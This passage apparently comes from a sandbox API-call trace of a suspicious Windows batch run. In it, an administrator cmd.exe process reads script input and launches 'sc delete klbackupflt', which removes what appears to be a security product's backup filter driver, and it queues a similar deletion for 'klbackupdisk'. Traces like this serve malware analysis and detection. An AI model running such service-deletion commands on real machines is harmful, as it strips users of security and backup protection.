out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.302] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.302] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.302] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.302] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.302] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.302] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.302] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.302] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.302] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.303] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.303] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.303] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.303] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.303] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.303] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.303] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.303] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.303] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="lbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.303] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.303] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.303] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.304] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="backupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.304] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.304] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.304] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.304] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="ackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.304] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.304] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.304] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.304] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="ckupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.304] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.304] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.304] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.305] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="kupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.305] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.305] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.305] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.305] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="updisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.305] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.305] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.305] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.305] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="pdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.305] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.305] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.305] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.305] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="fisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.305] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.306] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.306] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.306] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="lsk\n64-9.4\"\n\nA\"\n") returned 1 [0078.306] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.306] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.306] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.306] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="tk\n64-9.4\"\n\nA\"\n") returned 1 [0078.306] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.306] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.306] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.306] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.306] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.306] GetFileType (hFile=0xb8) returned 0x3 [0078.307] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.307] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.307] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.307] GetFileType (hFile=0x120) returned 0x3 [0078.307] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klbackupflt\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klbackupflt\n", lpUsedDefaultChar=0x0) returned 23 [0078.307] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x16, lpOverlapped=0x0) returned 1 [0078.307] GetProcessHeap () returned 0x240000 [0078.307] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0078.307] GetProcessHeap () returned 0x240000 [0078.307] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0078.307] GetProcessHeap () returned 0x240000 [0078.307] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0078.307] GetProcessHeap () returned 0x240000 [0078.307] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0078.307] GetProcessHeap () returned 0x240000 [0078.307] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x38) returned 0x256510 [0078.308] GetConsoleOutputCP () returned 0x1b5 [0078.308] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.308] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.308] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.309] GetProcessHeap () returned 0x240000 [0078.309] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0078.309] GetProcessHeap () returned 0x240000 [0078.309] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3e) returned 0x25aa40 [0078.309] GetProcessHeap () returned 0x240000 [0078.309] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0078.309] SetErrorMode (uMode=0x0) returned 0x1 [0078.309] SetErrorMode (uMode=0x1) returned 0x0 [0078.309] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0078.309] SetErrorMode (uMode=0x1) returned 0x1 [0078.309] GetProcessHeap () returned 0x240000 [0078.310] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0078.310] GetProcessHeap () returned 0x240000 [0078.310] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0078.310] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0078.310] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0078.310] GetProcessHeap () returned 0x240000 [0078.310] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0078.310] GetProcessHeap () returned 0x240000 [0078.310] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0078.310] GetProcessHeap () returned 0x240000 [0078.310] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0078.310] GetProcessHeap () returned 0x240000 [0078.310] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0078.310] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0078.310] GetProcessHeap () returned 0x240000 [0078.310] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0078.310] GetProcessHeap () returned 0x240000 [0078.311] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0078.311] GetProcessHeap () returned 0x240000 [0078.311] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0078.311] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.311] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.311] GetLastError () returned 0x2 [0078.311] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.312] GetLastError () returned 0x2 [0078.312] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.312] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.312] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.312] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.312] GetLastError () returned 0x2 [0078.312] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.313] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.313] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.313] GetProcessHeap () returned 0x240000 [0078.313] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0078.313] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.313] GetProcessHeap () returned 0x240000 [0078.314] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xa4) returned 0x259180 [0078.314] GetProcessHeap () returned 0x240000 [0078.314] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xa4 [0078.314] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klbackupflt") returned 1 [0078.315] GetProcessHeap () returned 0x240000 [0078.315] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0078.315] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0078.315] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0078.315] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0078.315] GetProcessHeap () returned 0x240000 [0078.315] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0078.315] GetProcessHeap () returned 0x240000 [0078.315] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0078.315] GetProcessHeap () returned 0x240000 [0078.316] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0078.316] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klbackupflt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klbackupflt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete klbackupflt", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x1c4, dwThreadId=0xb44)) returned 1 [0078.321] CloseHandle (hObject=0x50) returned 1 [0078.321] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0078.322] GetProcessHeap () returned 0x240000 [0078.322] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.322] GetEnvironmentStringsW () returned 0x25ba10* [0078.322] GetProcessHeap () returned 0x240000 [0078.322] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0078.322] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0078.322] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0078.322] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdc000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0078.322] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0078.381] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0078.381] CloseHandle (hObject=0x54) returned 1 [0078.381] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0078.381] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0078.381] GetProcessHeap () returned 0x240000 [0078.381] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0078.381] GetEnvironmentStringsW () returned 0x261b10* [0078.381] GetProcessHeap () returned 0x240000 [0078.381] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.381] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.381] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0078.381] GetProcessHeap () returned 0x240000 [0078.381] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.381] GetEnvironmentStringsW () returned 0x25ba10* [0078.381] GetProcessHeap () returned 0x240000 [0078.381] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0078.382] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0078.382] GetProcessHeap () returned 0x240000 [0078.382] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0078.382] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0078.382] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0078.383] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.383] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0078.383] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.383] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0078.383] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.383] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0078.383] GetConsoleOutputCP () returned 0x1b5 [0078.384] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.384] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.384] GetProcessHeap () returned 0x240000 [0078.384] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0078.384] GetProcessHeap () returned 0x240000 [0078.384] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0078.384] GetProcessHeap () returned 0x240000 [0078.384] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0078.384] GetProcessHeap () returned 0x240000 [0078.384] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0078.384] GetProcessHeap () returned 0x240000 [0078.384] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0078.384] GetProcessHeap () returned 0x240000 [0078.384] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0078.384] GetProcessHeap () returned 0x240000 [0078.384] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0078.384] GetProcessHeap () returned 0x240000 [0078.384] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0078.384] GetProcessHeap () returned 0x240000 [0078.384] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0078.385] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0078.385] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.385] GetFileType (hFile=0x120) returned 0x3 [0078.385] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.385] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0078.385] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0078.385] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0078.385] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0078.385] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0078.385] _vsnwprintf (in: 